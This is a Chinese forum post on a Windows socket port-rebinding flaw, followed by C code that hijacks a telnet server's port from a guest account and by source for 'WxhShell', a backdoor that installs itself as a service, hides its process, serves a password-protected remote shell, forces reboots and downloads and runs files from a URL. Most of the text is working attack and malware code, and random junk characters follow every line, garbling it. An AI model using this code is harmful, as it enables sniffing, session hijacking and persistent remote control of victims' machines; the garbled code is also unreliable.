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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z<|_+7T  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j-`X_8W  
+ i@yZfT  
  saddr.sin_family = AF_INET; =Cy>$/H64  
tK|9qs<%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); t)gi.Ed1"L  
!H|82:`t+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ryba[Fz4Di  
Hn9F gul&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h>Uid &:?  
vo6[2.HS  
  这意味着什么?意味着可以进行如下的攻击: o47 f  
^Z>B/aJq  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }{wTlR.]  
p=_XMh`;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tdnXPxn[  
2iPmCG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yOUX E>-  
mk%"G=w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  S`@6c$y k  
H8-D'q>R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *M&VqG4P9w  
3_\{[_W  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,> (bt%b  
}x?H ~QQT  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V(2j*2R!  
p37zz4  
  #include _h1 HuL  
  #include MO~~=]Y'  
  #include C?60`^  
  #include    +eBMn(7Cgv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   YF! &*6m  
  int main() JU'WiR bcb  
  { lQdnL.w$.4  
  WORD wVersionRequested; 6/mkJj+"  
  DWORD ret; r!.+XrYg  
  WSADATA wsaData; i,'Ka[6   
  BOOL val; OS"{"P  
  SOCKADDR_IN saddr; ^s2m\Q(  
  SOCKADDR_IN scaddr; 6i]Nr@1C  
  int err; Z[k#AgC)  
  SOCKET s; [EmOA.6  
  SOCKET sc; j(%gMVu  
  int caddsize; 'z-;*!A}j  
  HANDLE mt; lP@)   
  DWORD tid;   (~ ]g,*+  
  wVersionRequested = MAKEWORD( 2, 2 ); xA&  
  err = WSAStartup( wVersionRequested, &wsaData ); pG!(6V-x<E  
  if ( err != 0 ) { Z\|u9DO  
  printf("error!WSAStartup failed!\n"); h eE'S/  
  return -1; WjY{rM,K  
  } [Y22Wi  
  saddr.sin_family = AF_INET; Jm %ynW  
   i!Dh &XT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !_U37Uj<m  
i5 L:L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Hz]4AS  
  saddr.sin_port = htons(23); !f\?c7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Gpdv]SON{  
  { dU ,)TKQ  
  printf("error!socket failed!\n"); $bZu^d,  
  return -1; oNuPP5d[]  
  } \6SMn6a4  
  val = TRUE; PG6[lHmi  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X(GmiH /E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) C#Hcv*D  
  { (!ZQ  
  printf("error!setsockopt failed!\n"); Ig1lol:;  
  return -1; 1KTabj/C  
  } @PPR$4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; a{]g+tGH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]~ !X iCqu  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *?_qE  
cc|CC Zl  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *.m{jgi1X  
  { Pqy-gWOv  
  ret=GetLastError(); N>d|A]zH  
  printf("error!bind failed!\n"); :cc[Jco@w  
  return -1; }rz dm9  
  } /~i.\^HX  
  listen(s,2); Gr5`1`8|  
  while(1) ZjU=~)O}H  
  { GA|/7[I}  
  caddsize = sizeof(scaddr); wv, GBZ-f  
  //接受连接请求 /x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 87^:<\pp  
  if(sc!=INVALID_SOCKET) O9t=lrYV!  
  { N@Xg5huO  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N9i}p^F<_  
  if(mt==NULL) &sm @  
  { 7$(_j<o`  
  printf("Thread Creat Failed!\n"); 'FShNY5  
  break; t|;%DA)fjw  
  } XVQL.A7  
  } ?^LG hdR  
  CloseHandle(mt); YF}9k  
  } b/}'Vf[  
  closesocket(s); a(8>n Z,V  
  WSACleanup(); )K{o<m~WAo  
  return 0; ;#3ekl{-g  
  }   uuu\f*<  
  DWORD WINAPI ClientThread(LPVOID lpParam) IWAj Mwo  
  { 89zuL18V  
  SOCKET ss = (SOCKET)lpParam; [J~aAB  
  SOCKET sc; QF\kPk(CtD  
  unsigned char buf[4096]; KHvIN}V5?3  
  SOCKADDR_IN saddr; p1Q/g Il  
  long num; MWM +hk1fs  
  DWORD val; |]^l^e 6m  
  DWORD ret; |vv]Z(_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \). Nag+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   za,6 du6  
  saddr.sin_family = AF_INET; fC_zX}3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }%eDEM  
  saddr.sin_port = htons(23); &oA~ Tx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k_]\(myq  
  { 7egq4gN]2Y  
  printf("error!socket failed!\n"); lZ}P{d'f.  
  return -1; F(deu^s%{  
  } ,# ]+HS^B  
  val = 100; YVoao#!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [ L  
  { p` $fTgm  
  ret = GetLastError(); Iq+2mQi*/k  
  return -1; I?^aCnU  
  } StEQ -k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !?jK1{E3  
  { 21U&Ww  
  ret = GetLastError(); >yX/+p_  
  return -1; P"b8!k?  
  } $u:<x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $nj\\,(g  
  { jQ6Xr&}  
  printf("error!socket connect failed!\n"); >wA+[81[  
  closesocket(sc); vruD U#  
  closesocket(ss); -(!uC +BZX  
  return -1; K k7GZ  
  } *t^eNUA  
  while(1) NN^QUB  
  { \UOm]z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j(sLK &  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gt'*B5F(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 47KNT7C  
  num = recv(ss,buf,4096,0); nh<Z1tMU  
  if(num>0) GSP?X$E  
  send(sc,buf,num,0); YNI;h%w  
  else if(num==0) SgiDh dE  
  break; C#0brCQq3  
  num = recv(sc,buf,4096,0); (i\)|c/a7  
  if(num>0) [O\9 9>  
  send(ss,buf,num,0); "9w}dQ  
  else if(num==0) fTcY"A,2  
  break; -OWZ6#v(  
  } #*^e,FF<  
  closesocket(ss); 4h;4!I|  
  closesocket(sc); n,CD  
  return 0 ; DY8(g=TI|1  
  } Yr=8!iR$  
sds}bo  
rkq#7  
========================================================== Y~}5axSPH  
[_V:)  
下边附上一个代码,,WXhSHELL ul$,q05nb  
iA9 E^  
========================================================== nWk e#{[  
9:Si] Pp+S  
#include "stdafx.h" e9 *lixh  
uxb:^d?D!  
#include <stdio.h> :5jexz."M  
#include <string.h> #BsW  
#include <windows.h> P].eAAXnP  
#include <winsock2.h> `kFiH*5%z  
#include <winsvc.h> 9mDn KW  
#include <urlmon.h> "Kq>#I'%W  
0'`S,  
#pragma comment (lib, "Ws2_32.lib") 6lsEGe  
#pragma comment (lib, "urlmon.lib") `Ug tvo  
W!91tzs:  
#define MAX_USER   100 // 最大客户端连接数 /D'M24  
#define BUF_SOCK   200 // sock buffer wN(&5rfS  
#define KEY_BUFF   255 // 输入 buffer { D+Ym%n  
w.z<60%},0  
#define REBOOT     0   // 重启 ~@D/A/|  
#define SHUTDOWN   1   // 关机 GWdSSr>  
5rloK"  
#define DEF_PORT   5000 // 监听端口 2e59Ez%k6  
^&Q< tN 7  
#define REG_LEN     16   // 注册表键长度 IXWQ)  
#define SVC_LEN     80   // NT服务名长度 |4fF T `  
5]d{6Nc3P  
// 从dll定义API >I^9:Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b# u8\H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s1 bU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hO3 {  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /OG zt  
R&*@@F-dx  
// wxhshell配置信息 {n&Uf{  
struct WSCFG { dxCPV6 XI  
  int ws_port;         // 监听端口 H O*YBL  
  char ws_passstr[REG_LEN]; // 口令 [9AM\n>g  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'mE^5K  
  char ws_regname[REG_LEN]; // 注册表键名 cDIBDC  
  char ws_svcname[REG_LEN]; // 服务名 RYy,wVh}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pawl|Z'Ez  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q+'nw9:;T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UV@0gdy[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G?xJv`"9iC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [Gtb+'8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O,'#C\   
)M:)y  
}; ;&S;%W>|  
 q=4Bny0  
// default Wxhshell configuration \k; n20\u  
struct WSCFG wscfg={DEF_PORT, i%F<AY\O)  
    "xuhuanlingzhe", Z!_n_F k  
    1, VD [pZ2;4  
    "Wxhshell", "VTF}#Uo  
    "Wxhshell", )R &,'`\  
            "WxhShell Service", : G=FiC  
    "Wrsky Windows CmdShell Service", t7*#[x)a  
    "Please Input Your Password: ", cU8xUpq  
  1, <cj{Qk  
  "http://www.wrsky.com/wxhshell.exe", Ryv_1gR!  
  "Wxhshell.exe" S&wzB)#'  
    }; u-:Ic.ZV  
}`_(<H  
// 消息定义模块 2hq\n<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cP rwW 6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IZrk1fh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t,<UohL|z  
char *msg_ws_ext="\n\rExit."; (>7>3  
char *msg_ws_end="\n\rQuit."; >bIF>9T  
char *msg_ws_boot="\n\rReboot..."; [_.n$p-  
char *msg_ws_poff="\n\rShutdown..."; 24B<[lSK  
char *msg_ws_down="\n\rSave to "; iKAusWj  
WD.U"YI8y  
char *msg_ws_err="\n\rErr!"; `q_<Im%I  
char *msg_ws_ok="\n\rOK!"; !Z|($21W  
o35fifM`  
char ExeFile[MAX_PATH]; =J/FJb  
int nUser = 0; [Y/:@t"2y  
HANDLE handles[MAX_USER]; Qihdn66  
int OsIsNt; :NE/Ddgc'  
f<=Fe:1.  
SERVICE_STATUS       serviceStatus; ^$NJD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,H[SI0];  
2*AG7  
// 函数声明 GLUUY0  
int Install(void); Ow/@Z7~  
int Uninstall(void); ahGT4d`)9  
int DownloadFile(char *sURL, SOCKET wsh); /XbW<dfl  
int Boot(int flag); #fDs[  
void HideProc(void); *C2R`gpBI  
int GetOsVer(void); /X#z*GX  
int Wxhshell(SOCKET wsl); \TbVS8e^  
void TalkWithClient(void *cs); )(TAT<  
int CmdShell(SOCKET sock); 5/@UVY9_  
int StartFromService(void); uQ3[Jz`y  
int StartWxhshell(LPSTR lpCmdLine); 5-vo0:hk  
"pvH0"Q*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %l !xkCKA  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OZ(dpV9.S  
xDjV `E]  
// 数据结构和表定义 T?wzwGp-[  
SERVICE_TABLE_ENTRY DispatchTable[] = |"Z{I3Umg  
{ qLK?%?.N<  
{wscfg.ws_svcname, NTServiceMain}, Jp~zX lu  
{NULL, NULL} X.V[0$.;  
}; l,`!rF_  
=.Tv)/ea  
// 自我安装 ]l;*$2w)  
int Install(void) `JURQ:l)3^  
{ N#k61x  
  char svExeFile[MAX_PATH]; go'j/4Tp  
  HKEY key; /'wF2UR  
  strcpy(svExeFile,ExeFile); :dnJY%/q  
bF-"tm  
// 如果是win9x系统,修改注册表设为自启动 h{'t5&yY  
if(!OsIsNt) { }NCL>l;q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -x*2t;%z{U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +%0z`E\?M#  
  RegCloseKey(key); bS!\#f%9"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vjUp *R>h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8%:]W^  
  RegCloseKey(key); ))T>jh   
  return 0; WAPhv-6  
    }  $xgBKD  
  } \'v(Xp6  
} wCKj7y[  
else { {/8Q)2*>0  
Da1aI]{I  
// 如果是NT以上系统,安装为系统服务 I'!/[\_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i$^ZTb^  
if (schSCManager!=0) k%81f'H  
{ V5mTu)tp5  
  SC_HANDLE schService = CreateService (6gK4__}]  
  ( ,kM)7!]N  
  schSCManager, /X*oS&-M  
  wscfg.ws_svcname, #x@eDnb_  
  wscfg.ws_svcdisp, =Lp7{09u  
  SERVICE_ALL_ACCESS, 3$/ 4wH^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ccJM>9  
  SERVICE_AUTO_START, [\e@_vY@OH  
  SERVICE_ERROR_NORMAL, &^.57]  
  svExeFile, z\!K<d"Xv  
  NULL, #"*e+.j[;  
  NULL, SNpi=K!yn  
  NULL, +j/~Af p5f  
  NULL, $)Bg JDr  
  NULL CA s>AXbs  
  ); ; H0{CkH  
  if (schService!=0) m`A% p  
  { &#w=7L3AW  
  CloseServiceHandle(schService); E-2 eOT  
  CloseServiceHandle(schSCManager); @{HrJ/4%:&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aUopNmN  
  strcat(svExeFile,wscfg.ws_svcname); vqdX^m^PY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { obH; g*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 47>>4_Hz  
  RegCloseKey(key); DXR:1w[^  
  return 0; ~$,qgf  
    } 4'>1HW  
  } _lxco=qd=%  
  CloseServiceHandle(schSCManager); <[~,uR7  
} F5T3E?_  
} {MBTP;{*~  
}"s;\?a  
return 1; MgMD\  
} lS5ny  
b^CNVdo'  
// 自我卸载 8p^B hd  
int Uninstall(void)  H`QQG!  
{ k!L@GQ  
  HKEY key; zTm]AG|0  
^A_;#vK  
if(!OsIsNt) { %&<LNEiUN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0\QR!*'$  
  RegDeleteValue(key,wscfg.ws_regname); nms8@[4-  
  RegCloseKey(key); QG gF|c7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EG<s_d?  
  RegDeleteValue(key,wscfg.ws_regname); 8At<Wic  
  RegCloseKey(key); ?h8{xa5b  
  return 0; 8{ c!).  
  } [:EvTY  
} ] ZoPQUS?  
}  $)~   
else { ef"?|sn  
I/J7rkf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sy5 Fn~\R  
if (schSCManager!=0) ?}P5p^6  
{ ^"8wUsP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hf gz02Z$  
  if (schService!=0) IVxWxM*N<  
  { s][24)99  
  if(DeleteService(schService)!=0) { X@A1#z+s0]  
  CloseServiceHandle(schService); %eWqQ3{P]  
  CloseServiceHandle(schSCManager); }Fb!?['G5  
  return 0; 5jcte< 5I_  
  } S=|@L<O  
  CloseServiceHandle(schService); k ]a*&me  
  } q OhO qV  
  CloseServiceHandle(schSCManager); i b6^x:HGU  
} [1G^/K"  
} >!6JKL~=  
%3Z/+uT@v]  
return 1; kSncZ0K{  
} R!\EK H  
.p` pG3  
// 从指定url下载文件 V4w=/e _  
int DownloadFile(char *sURL, SOCKET wsh) Rd*[%)  
{ oA-:zz> wL  
  HRESULT hr; uzr\oj+>  
char seps[]= "/"; k=ytuV\  
char *token; S::=85[>z  
char *file; \E1U@6a  
char myURL[MAX_PATH]; ,L> ar)B  
char myFILE[MAX_PATH]; QCOo  
^rNUAj9Z  
strcpy(myURL,sURL); p*QKK@C  
  token=strtok(myURL,seps); <[ Xw)/#  
  while(token!=NULL) A#wEuX=[  
  { giY80!GX  
    file=token; 3INI?y}t   
  token=strtok(NULL,seps); xl9aV\W  
  } K,ej%Vtz  
8T[ 6J{|C  
GetCurrentDirectory(MAX_PATH,myFILE); YNdrWBf)  
strcat(myFILE, "\\"); uzOYVN$t  
strcat(myFILE, file); Dh| w^Q  
  send(wsh,myFILE,strlen(myFILE),0); qQ[b VD\*  
send(wsh,"...",3,0); knp>m,w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cR7wx 0Aj  
  if(hr==S_OK) 6=_~ 0PcY  
return 0; PyC0Q\$%  
else 1%[_`J;>Z  
return 1; X@N$Z{  
U\@A _ B  
} w*7|dZk{  
Wzq>JNn y  
// 系统电源模块 c~}l8M %  
int Boot(int flag) Tb;d.^  
{ M)-6T{[IT  
  HANDLE hToken; \ gwXH  
  TOKEN_PRIVILEGES tkp; J97R0  
+ xv!$gJEj  
  if(OsIsNt) { z`Wt%tL(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dIwe g=x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t:~t@4j}  
    tkp.PrivilegeCount = 1; UKd'+R]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2.uA|~qH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1 k8x%5p  
if(flag==REBOOT) { Pz_Oe,{.I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q Dd~2"er  
  return 0; }Nj97 R  
} j1$8#/r;c  
else { RF}X ER  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j-@kW'K  
  return 0; +>^7vq-\'  
} <Q < AwP  
  } vYmSKS  
  else { -F/st  
if(flag==REBOOT) { BcWcdr+}9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `bI)<B  
  return 0; 5FKBv e@  
} YB))S!;Ok  
else { ^WYQ]@rh3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QWnndI_4p  
  return 0; R@ Y=o].2  
} MZv]s  
} "bQ[CD  
jF"YTr6  
return 1; >cMd\%^t  
}  P\m7 -  
LHCsk{3  
// win9x进程隐藏模块 w?vVVA  
void HideProc(void) 5MTgK=c  
{ Lm*VN~2  
CJknJn3m&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f|EUqu%E  
  if ( hKernel != NULL ) GOy%^:Xd  
  { 1MsWnSvzf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $& ~;@*[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D87|q4  
    FreeLibrary(hKernel); &-yGVx  
  } v5ur&egVs  
l3o#@sz:  
return; u0)7i.!M  
} p0p4Xh1 e  
'XOX@UH d  
// 获取操作系统版本 e;YW6}'}  
int GetOsVer(void) mABe'"8  
{ _W!p8cB  
  OSVERSIONINFO winfo; b4 #R!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f&@BKx  
  GetVersionEx(&winfo); -<_$m6x"A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a~LC+8|JW  
  return 1; @DAF 6ygs  
  else E:E4ulak  
  return 0; %GEJnJ  
} &NZfJs  
t/oN>mQG  
// 客户端句柄模块 "VxWj}+]  
int Wxhshell(SOCKET wsl) cS .i  
{ w)] H ^6  
  SOCKET wsh; 4 {GU6v)f  
  struct sockaddr_in client; F51.N{'  
  DWORD myID; C_fY %O  
V,v[y\  
  while(nUser<MAX_USER) f7de'^t9  
{ zzGYiF ?  
  int nSize=sizeof(client); I8Vb-YeS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \kam cA  
  if(wsh==INVALID_SOCKET) return 1; )U<Y0bZA!  
)u ?' ;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O%!5<8Xrb  
if(handles[nUser]==0) u'A#%}3  
  closesocket(wsh); 9a$56GnW1  
else pY8q=Kl  
  nUser++; KGHq rc  
  } `em9T oJV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XJ0 {  
W1aa:hEf  
  return 0; C.  MoKa3  
} C&\5'[*  
YA(@5CZ  
// 关闭 socket + A_J1iJ<  
void CloseIt(SOCKET wsh) H( ^bC5'  
{ $3+PbYY  
closesocket(wsh); m(OvD!  
nUser--; ,"}Rg1\4t  
ExitThread(0); *~$~yM/~3U  
} { >{B`e`$  
_A_ A$N~9  
// 客户端请求句柄 p\v Mc\  
void TalkWithClient(void *cs) gieJ}Bv  
{ Ft JjY@#  
M&Y .;  
  SOCKET wsh=(SOCKET)cs; tCF&OOI4`  
  char pwd[SVC_LEN]; ~=r^3nZR/J  
  char cmd[KEY_BUFF]; [p r"ZQ]  
char chr[1]; Y]`.InG@  
int i,j; 6qvp*35Cx  
E9! N>0  
  while (nUser < MAX_USER) { s=I'e/"7  
Z^KA  
if(wscfg.ws_passstr) { bBxw#_3A?E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G`=r^$.3WB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9<CG s3\  
  //ZeroMemory(pwd,KEY_BUFF); "v*8_El  
      i=0; L}{`h  
  while(i<SVC_LEN) { ]Al;l*yw  
k5d\ w@G"~  
  // 设置超时 &.i^dO^}  
  fd_set FdRead; IputF<p  
  struct timeval TimeOut; v]:=K-1n  
  FD_ZERO(&FdRead); }_.:+H!@  
  FD_SET(wsh,&FdRead); BG2)v.CU  
  TimeOut.tv_sec=8; vW,snxK6y&  
  TimeOut.tv_usec=0; ?@6b>='!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q(^Q3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]Z<_ " F  
c/W=$3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f5RE9%.#~  
  pwd=chr[0]; jZfx Jm  
  if(chr[0]==0xd || chr[0]==0xa) { pe0x""K  
  pwd=0; iGXI6`F"  
  break; `xS{0P{uj  
  } t-%Q`V=[  
  i++; [V# r7a  
    } &(rWwOo6  
ri~<~oB 2:  
  // 如果是非法用户,关闭 socket 1r[@(c0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )QKf7 [:  
} {-zMHVw=}  
JeH;v0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t/i5,le  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C2e.2)y  
F-Z%6O,2  
while(1) { ?^Hf Np9  
a.F Al@Br  
  ZeroMemory(cmd,KEY_BUFF); )8gGv  
Aez2*g3  
      // 自动支持客户端 telnet标准   :q3+AtF  
  j=0; %6j)=IOts  
  while(j<KEY_BUFF) { Q<tu)Qo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4NEq$t$Jn  
  cmd[j]=chr[0]; Z*{] ,  
  if(chr[0]==0xa || chr[0]==0xd) { 3ucP(Ex@tg  
  cmd[j]=0; CCijf]+  
  break; 6w3R'\9  
  } nHFrG =o,  
  j++; "LhUxnll  
    } .o{0+fC#  
1tzV8(7  
  // 下载文件 pI`?(5iK6|  
  if(strstr(cmd,"http://")) { ~.Ik#At  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G* %t'jX9  
  if(DownloadFile(cmd,wsh)) wl=61 Mb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -OZ 5vH0  
  else ^:, l\Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k4J8O3E  
  } 5R$G(Ap_  
  else { i y YJR  
mbl]>JsQD  
    switch(cmd[0]) { y2HxP_s?P?  
  I 1d0iU  
  // 帮助 yKagT$-  
  case '?': { =?0lA_ 0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $L4/I!Yf  
    break; 5vzceQE}  
  } E&$_`m;  
  // 安装 v'2[[u{7*  
  case 'i': { 4\t1mocCSN  
    if(Install()) W~T}@T:EN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #PvB/3  
    else ! {,F~i9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EC&@I+'8Q  
    break; ;|%dY{L-  
    } ;E2>Ovv  
  // 卸载 gB,G.QM*6  
  case 'r': { S&nxok`e^  
    if(Uninstall()) ewNz%_2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :!&;p  
    else T<yP* b2E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l|`9:H  
    break; zZ-wG  
    } ]-o"}"3Ef  
  // 显示 wxhshell 所在路径 eg+!*>GaX  
  case 'p': { "ceed)(:  
    char svExeFile[MAX_PATH]; I&9S;I$  
    strcpy(svExeFile,"\n\r"); _&3<6$}i"  
      strcat(svExeFile,ExeFile); |iFVh$N  
        send(wsh,svExeFile,strlen(svExeFile),0); ~`;rNnOT3  
    break; Q\ ^[!|  
    } UCrh/bTm  
  // 重启 YKZrEP 4^  
  case 'b': { 7)rWw<mY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l7(!`NPbC  
    if(Boot(REBOOT)) gJt`?8t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6~:Sgt nU  
    else { Rx36?/  
    closesocket(wsh); 07T70[G  
    ExitThread(0); [36,eK  
    } u]^N&2UW  
    break; Wm'QP4`  
    } Dz=k7zRg"  
  // 关机 Rr(* aC2P  
  case 'd': { (oK^c- x  
